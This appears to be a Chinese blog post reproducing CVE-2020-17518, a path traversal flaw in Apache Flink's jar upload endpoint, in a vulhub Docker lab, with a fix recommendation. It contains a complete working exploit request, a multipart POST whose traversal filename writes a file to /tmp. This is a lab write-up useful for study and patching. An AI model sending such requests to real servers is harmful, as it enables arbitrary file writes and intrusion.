Apache Flink上传路径遍历(CVE-2020-17518)

简介

 

Apache Flink是一个开源流处理框架,具有强大的流处理和批处理功能。

 

漏洞概述

 

Apache Flink 1.5.1引入了一个REST处理程序,允许您通过恶意修改的HTTP头将上传的文件写入到本地文件系统上的任意位置。

 

影响版本

 

Flink 1.5.1-1.11.2

 

环境搭建

 

使用vulhub进行安装

Vulhub地址:

https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518

 

进入目录

cd vulhub-master/flink/CVE-2020-17518

安装环境

docker-compose up -d

接着访问http://your-ip:8081

这里版本是flink:1.11.2

 

漏洞复现

构建数据包进行发送

POST /jars/upload HTTP/1.1
Host: 192.168.204.131:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"

success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

返回400,但是镜像里面有了success文件,执行成功

 

修复建议

 

升级到安全版本

安全版本:
Flink 1.11.3或Flink 1.12.0

 

猜你喜欢

转载自blog.csdn.net/xuandao_ahfengren/article/details/112260262